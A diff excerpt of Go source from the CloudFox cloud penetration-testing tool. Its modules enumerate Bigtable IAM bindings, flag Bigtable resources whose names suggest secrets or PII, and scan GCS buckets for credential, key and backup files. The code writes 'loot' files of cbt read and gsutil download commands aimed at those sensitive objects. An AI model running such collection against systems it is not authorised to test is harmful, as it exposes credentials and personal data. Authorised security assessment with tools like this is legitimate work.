return []string{"Project", "Instance", "Table", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
}
|
||||
|
||||
func (m *BigtableModule) instancesToTableBody(instances []bigtableservice.BigtableInstanceInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, instance := range instances {
|
||||
publicAccess := "No"
|
||||
if instance.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
var clusterDetails []string
|
||||
for _, cluster := range instance.Clusters {
|
||||
clusterDetails = append(clusterDetails, fmt.Sprintf("%s (%s)", cluster.Name, cluster.Location))
|
||||
}
|
||||
clusters := "-"
|
||||
if len(clusterDetails) > 0 {
|
||||
clusters = strings.Join(clusterDetails, ", ")
|
||||
}
|
||||
|
||||
if len(instance.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(instance.ProjectID),
|
||||
instance.Name,
|
||||
instance.DisplayName,
|
||||
instance.Type,
|
||||
instance.State,
|
||||
clusters,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range instance.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(instance.ProjectID),
|
||||
instance.Name,
|
||||
instance.DisplayName,
|
||||
instance.Type,
|
||||
instance.State,
|
||||
clusters,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BigtableModule) tablesToTableBody(tables []bigtableservice.BigtableTableInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, table := range tables {
|
||||
publicAccess := "No"
|
||||
if table.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(table.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(table.ProjectID),
|
||||
table.InstanceName,
|
||||
table.Name,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range table.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(table.ProjectID),
|
||||
table.InstanceName,
|
||||
table.Name,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BigtableModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if instances, ok := m.ProjectInstances[projectID]; ok && len(instances) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "bigtable-instances",
|
||||
Header: m.getInstanceHeader(),
|
||||
Body: m.instancesToTableBody(instances),
|
||||
})
|
||||
}
|
||||
|
||||
if tables, ok := m.ProjectTables[projectID]; ok && len(tables) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "bigtable-tables",
|
||||
Header: m.getTableHeader(),
|
||||
Body: m.tablesToTableBody(tables),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *BigtableModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectInstances {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BigtableOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigtableModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allInstances := m.getAllInstances()
|
||||
allTables := m.getAllTables()
|
||||
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if len(allInstances) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "bigtable-instances",
|
||||
Header: m.getInstanceHeader(),
|
||||
Body: m.instancesToTableBody(allInstances),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allTables) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "bigtable-tables",
|
||||
Header: m.getTableHeader(),
|
||||
Body: m.tablesToTableBody(allTables),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BigtableOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,253 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
bigtableenumservice "github.com/BishopFox/cloudfox/gcp/services/bigtableEnumService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBigtableEnumCommand = &cobra.Command{
|
||||
Use: globals.GCP_BIGTABLEENUM_MODULE_NAME,
|
||||
Aliases: []string{"bt-enum", "bt-scan"},
|
||||
Short: "Scan Bigtable instances, tables, and column families for sensitive data indicators",
|
||||
Long: `Scan Bigtable metadata for potentially sensitive data.
|
||||
|
||||
Scans instance names, table names, and column family names against sensitive
|
||||
data patterns (credentials, PII, financial, compliance keywords).
|
||||
|
||||
Detects resources with names suggesting they store:
|
||||
- Credentials, tokens, or secrets
|
||||
- PII (SSN, credit cards)
|
||||
- Financial data (payments, billing, salary)
|
||||
- Compliance-labeled data (HIPAA, GDPR, PII)`,
|
||||
Run: runGCPBigtableEnumCommand,
|
||||
}
|
||||
|
||||
type BigtableEnumModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectResources map[string][]bigtableenumservice.SensitiveBTResource
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type BigtableEnumOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BigtableEnumOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BigtableEnumOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPBigtableEnumCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BigtableEnumModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectResources: make(map[string][]bigtableenumservice.SensitiveBTResource),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Scanning Bigtable resources for sensitive data indicators...", globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGTABLEENUM_MODULE_NAME, m.processProject)
|
||||
|
||||
allResources := m.getAllResources()
|
||||
if len(allResources) == 0 {
|
||||
logger.InfoM("No sensitive Bigtable resources found", globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, r := range allResources {
|
||||
switch r.RiskLevel {
|
||||
case "CRITICAL":
|
||||
criticalCount++
|
||||
case "HIGH":
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d sensitive Bigtable resources (%d CRITICAL, %d HIGH)",
|
||||
len(allResources), criticalCount, highCount), globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) getAllResources() []bigtableenumservice.SensitiveBTResource {
|
||||
var all []bigtableenumservice.SensitiveBTResource
|
||||
for _, resources := range m.ProjectResources {
|
||||
all = append(all, resources...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Scanning Bigtable in project: %s", projectID), globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := bigtableenumservice.New()
|
||||
|
||||
resources, err := svc.EnumerateSensitiveResources(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGTABLEENUM_MODULE_NAME,
|
||||
fmt.Sprintf("Could not scan Bigtable in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectResources[projectID] = resources
|
||||
|
||||
if len(resources) > 0 {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
lootFile := &internal.LootFile{
|
||||
Name: "bigtable-enum-commands",
|
||||
Contents: "# Bigtable Commands for Sensitive Resources\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
for _, r := range resources {
|
||||
if r.Table != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# [%s] %s - %s/%s\n# %s\ncbt -project %s -instance %s read %s count=10\n\n",
|
||||
r.RiskLevel, r.Category, r.Instance, r.Table,
|
||||
r.Description,
|
||||
projectID, r.Instance, r.Table,
|
||||
)
|
||||
} else {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# [%s] %s - instance: %s\n# %s\ncbt -project %s -instance %s ls\n\n",
|
||||
r.RiskLevel, r.Category, r.Instance,
|
||||
r.Description,
|
||||
projectID, r.Instance,
|
||||
)
|
||||
}
|
||||
}
|
||||
m.LootMap[projectID]["bigtable-enum-commands"] = lootFile
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeBigtableHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeBigtableFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) getHeader() []string {
|
||||
return []string{"Project", "Instance", "Table", "Column Family", "Category", "Risk Level", "Description"}
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) resourcesToTableBody(resources []bigtableenumservice.SensitiveBTResource) [][]string {
|
||||
var body [][]string
|
||||
for _, r := range resources {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(r.ProjectID),
|
||||
r.Instance,
|
||||
r.Table,
|
||||
r.ColumnFamily,
|
||||
r.Category,
|
||||
r.RiskLevel,
|
||||
r.Description,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
resources := m.ProjectResources[projectID]
|
||||
if len(resources) == 0 {
|
||||
return nil
|
||||
}
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "bigtable-enum",
|
||||
Header: m.getHeader(),
|
||||
Body: m.resourcesToTableBody(resources),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) writeBigtableHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID, resources := range m.ProjectResources {
|
||||
if len(resources) == 0 {
|
||||
continue
|
||||
}
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BigtableEnumOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigtableEnumModule) writeBigtableFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allResources := m.getAllResources()
|
||||
if len(allResources) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{
|
||||
{
|
||||
Name: "bigtable-enum",
|
||||
Header: m.getHeader(),
|
||||
Body: m.resourcesToTableBody(allResources),
|
||||
},
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BigtableEnumOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGTABLEENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,617 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
bucketenumservice "github.com/BishopFox/cloudfox/gcp/services/bucketEnumService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var (
|
||||
bucketEnumMaxObjects int
|
||||
bucketEnumAllObjects bool
|
||||
bucketEnumNoLimit bool
|
||||
maxObjectsWasSet bool // tracks if --max-objects was explicitly set
|
||||
)
|
||||
|
||||
var GCPStorageEnumCommand = &cobra.Command{
|
||||
Use: globals.GCP_STORAGEENUM_MODULE_NAME,
|
||||
Aliases: []string{"bucket-enum", "bucket-scan", "gcs-enum", "sensitive-files"},
|
||||
Short: "Enumerate GCS buckets for sensitive files (credentials, secrets, configs)",
|
||||
Long: `Enumerate GCS buckets to find potentially sensitive files.
|
||||
|
||||
This module scans bucket contents for files that may contain:
|
||||
- Credentials (service account keys, SSH keys, certificates)
|
||||
- Secrets (environment files, API keys, tokens)
|
||||
- Configuration files (may contain hardcoded secrets)
|
||||
- Database backups
|
||||
- Terraform state files
|
||||
- Source code/git repositories
|
||||
|
||||
File categories detected:
|
||||
- Credential: .json keys, .pem, .key, .p12, SSH keys
|
||||
- Secret: .env, passwords, API keys, tokens
|
||||
- Config: YAML, properties, settings files
|
||||
- Backup: SQL dumps, archives
|
||||
- Source: Git repositories
|
||||
- Cloud: Cloud Functions source, build artifacts
|
||||
|
||||
Flags:
|
||||
--all-objects Report ALL bucket objects (not just sensitive files)
|
||||
--no-limit Remove the 1000 object-per-bucket scan limit
|
||||
--max-objects Set a custom object-per-bucket scan limit
|
||||
|
||||
By default, only sensitive files are reported with a 1000 object scan limit.
|
||||
WARNING: --all-objects and --no-limit may take a long time for large buckets.`,
|
||||
Run: runGCPStorageEnumCommand,
|
||||
}
|
||||
|
||||
func init() {
|
||||
GCPStorageEnumCommand.Flags().IntVar(&bucketEnumMaxObjects, "max-objects", 1000, "Maximum objects to scan per bucket")
|
||||
GCPStorageEnumCommand.Flags().BoolVar(&bucketEnumAllObjects, "all-objects", false, "Report ALL objects, not just sensitive files (implies --no-limit unless --max-objects is set)")
|
||||
GCPStorageEnumCommand.Flags().BoolVar(&bucketEnumNoLimit, "no-limit", false, "Remove the 1000 object-per-bucket scan limit (still only reports sensitive files)")
|
||||
}
|
||||
|
||||
type BucketEnumModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectSensitiveFiles map[string][]bucketenumservice.SensitiveFileInfo // projectID -> files
|
||||
ProjectAllObjects map[string][]bucketenumservice.ObjectInfo // projectID -> all objects (when --all-objects)
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
EnumerateAll bool // whether to enumerate all objects
|
||||
MaxObjects int // max objects per bucket (0 = unlimited)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type BucketEnumOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BucketEnumOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BucketEnumOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPStorageEnumCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Determine effective max objects limit
|
||||
effectiveMaxObjects := bucketEnumMaxObjects
|
||||
maxObjectsExplicitlySet := cmd.Flags().Changed("max-objects")
|
||||
|
||||
// --no-limit flag sets unlimited
|
||||
if bucketEnumNoLimit {
|
||||
effectiveMaxObjects = 0
|
||||
}
|
||||
|
||||
// --all-objects implies no limit UNLESS --max-objects was explicitly set
|
||||
if bucketEnumAllObjects && !maxObjectsExplicitlySet {
|
||||
effectiveMaxObjects = 0
|
||||
}
|
||||
|
||||
module := &BucketEnumModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectSensitiveFiles: make(map[string][]bucketenumservice.SensitiveFileInfo),
|
||||
ProjectAllObjects: make(map[string][]bucketenumservice.ObjectInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
EnumerateAll: bucketEnumAllObjects,
|
||||
MaxObjects: effectiveMaxObjects,
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
maxMsg := fmt.Sprintf("%d", m.MaxObjects)
|
||||
if m.MaxObjects == 0 {
|
||||
maxMsg = "unlimited"
|
||||
}
|
||||
|
||||
if m.EnumerateAll {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating ALL bucket contents (%s objects per bucket)...", maxMsg), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM(fmt.Sprintf("Scanning buckets for sensitive files (%s objects per bucket)...", maxMsg), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_STORAGEENUM_MODULE_NAME, m.processProject)
|
||||
|
||||
if m.EnumerateAll {
|
||||
// Full enumeration mode
|
||||
allObjects := m.getAllObjects()
|
||||
if len(allObjects) == 0 {
|
||||
logger.InfoM("No objects found in buckets", globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public objects
|
||||
publicCount := 0
|
||||
for _, obj := range allObjects {
|
||||
if obj.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d object(s) across all buckets (%d public)",
|
||||
len(allObjects), publicCount), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
} else {
|
||||
// Sensitive files mode
|
||||
allFiles := m.getAllSensitiveFiles()
|
||||
if len(allFiles) == 0 {
|
||||
logger.InfoM("No sensitive files found", globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by risk level
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, file := range allFiles {
|
||||
switch file.RiskLevel {
|
||||
case "CRITICAL":
|
||||
criticalCount++
|
||||
case "HIGH":
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d potentially sensitive file(s) (%d CRITICAL, %d HIGH)",
|
||||
len(allFiles), criticalCount, highCount), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) getAllObjects() []bucketenumservice.ObjectInfo {
|
||||
var all []bucketenumservice.ObjectInfo
|
||||
for _, objects := range m.ProjectAllObjects {
|
||||
all = append(all, objects...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) getAllSensitiveFiles() []bucketenumservice.SensitiveFileInfo {
|
||||
var all []bucketenumservice.SensitiveFileInfo
|
||||
for _, files := range m.ProjectSensitiveFiles {
|
||||
all = append(all, files...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Scanning buckets in project: %s", projectID), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := bucketenumservice.New()
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
if m.EnumerateAll {
|
||||
m.LootMap[projectID]["storage-enum-all-commands"] = &internal.LootFile{
|
||||
Name: "storage-enum-all-commands",
|
||||
Contents: "# GCS Download Commands for All Objects\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
} else {
|
||||
m.LootMap[projectID]["storage-enum-sensitive-commands"] = &internal.LootFile{
|
||||
Name: "storage-enum-sensitive-commands",
|
||||
Contents: "# GCS Download Commands for CRITICAL/HIGH Risk Files\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["storage-enum-commands"] = &internal.LootFile{
|
||||
Name: "storage-enum-commands",
|
||||
Contents: "# GCS Download Commands for All Detected Files\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get list of buckets
|
||||
buckets, err := svc.GetBucketsList(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGEENUM_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate buckets in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d bucket(s) in project %s", len(buckets), projectID), globals.GCP_STORAGEENUM_MODULE_NAME)
|
||||
}
|
||||
|
||||
if m.EnumerateAll {
|
||||
// Enumerate ALL objects in each bucket
|
||||
var projectObjects []bucketenumservice.ObjectInfo
|
||||
for _, bucketName := range buckets {
|
||||
objects, err := svc.EnumerateAllBucketObjects(bucketName, projectID, m.MaxObjects)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGEENUM_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate bucket %s in project %s", bucketName, projectID))
|
||||
continue
|
||||
}
|
||||
projectObjects = append(projectObjects, objects...)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAllObjects[projectID] = projectObjects
|
||||
// Group objects by bucket and add bucket-level headers
|
||||
currentBucket := ""
|
||||
for _, obj := range projectObjects {
|
||||
if obj.BucketName != currentBucket {
|
||||
currentBucket = obj.BucketName
|
||||
if lootFile := m.LootMap[projectID]["storage-enum-all-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# BUCKET: gs://%s\n"+
|
||||
"# =============================================================================\n\n",
|
||||
currentBucket,
|
||||
)
|
||||
}
|
||||
}
|
||||
m.addObjectToLoot(projectID, obj)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
} else {
|
||||
// Scan for sensitive files only
|
||||
var projectFiles []bucketenumservice.SensitiveFileInfo
|
||||
for _, bucketName := range buckets {
|
||||
files, err := svc.EnumerateBucketSensitiveFiles(bucketName, projectID, m.MaxObjects)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGEENUM_MODULE_NAME,
|
||||
fmt.Sprintf("Could not scan bucket %s in project %s", bucketName, projectID))
|
||||
continue
|
||||
}
|
||||
projectFiles = append(projectFiles, files...)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectSensitiveFiles[projectID] = projectFiles
|
||||
// Group files by bucket and add bucket-level headers
|
||||
currentBucket := ""
|
||||
for _, file := range projectFiles {
|
||||
if file.BucketName != currentBucket {
|
||||
currentBucket = file.BucketName
|
||||
for _, lootName := range []string{"storage-enum-commands", "storage-enum-sensitive-commands"} {
|
||||
if lootFile := m.LootMap[projectID][lootName]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# BUCKET: gs://%s\n"+
|
||||
"# =============================================================================\n\n",
|
||||
currentBucket,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
m.addFileToLoot(projectID, file)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) addObjectToLoot(projectID string, obj bucketenumservice.ObjectInfo) {
|
||||
if lootFile := m.LootMap[projectID]["storage-enum-all-commands"]; lootFile != nil {
|
||||
publicMarker := ""
|
||||
if obj.IsPublic {
|
||||
publicMarker = " [PUBLIC]"
|
||||
}
|
||||
// Build local directory path: bucket/BUCKETNAME/OBJECTPATH/
|
||||
localDir := fmt.Sprintf("bucket/%s/%s", obj.BucketName, getObjectDir(obj.ObjectName))
|
||||
localCpCmd := fmt.Sprintf("gsutil cp gs://%s/%s %s", obj.BucketName, obj.ObjectName, localDir)
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# gs://%s/%s%s\n"+
|
||||
"# Size: %d bytes, Type: %s\n"+
|
||||
"mkdir -p %s\n"+
|
||||
"%s\n\n",
|
||||
obj.BucketName, obj.ObjectName, publicMarker,
|
||||
obj.Size, obj.ContentType,
|
||||
localDir,
|
||||
localCpCmd,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketEnumModule) addFileToLoot(projectID string, file bucketenumservice.SensitiveFileInfo) {
|
||||
// Build local directory path: bucket/BUCKETNAME/OBJECTPATH/
|
||||
localDir := fmt.Sprintf("bucket/%s/%s", file.BucketName, getObjectDir(file.ObjectName))
|
||||
localCpCmd := fmt.Sprintf("gsutil cp gs://%s/%s %s", file.BucketName, file.ObjectName, localDir)
|
||||
|
||||
// All files go to the general commands file (without risk ranking)
|
||||
if lootFile := m.LootMap[projectID]["storage-enum-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
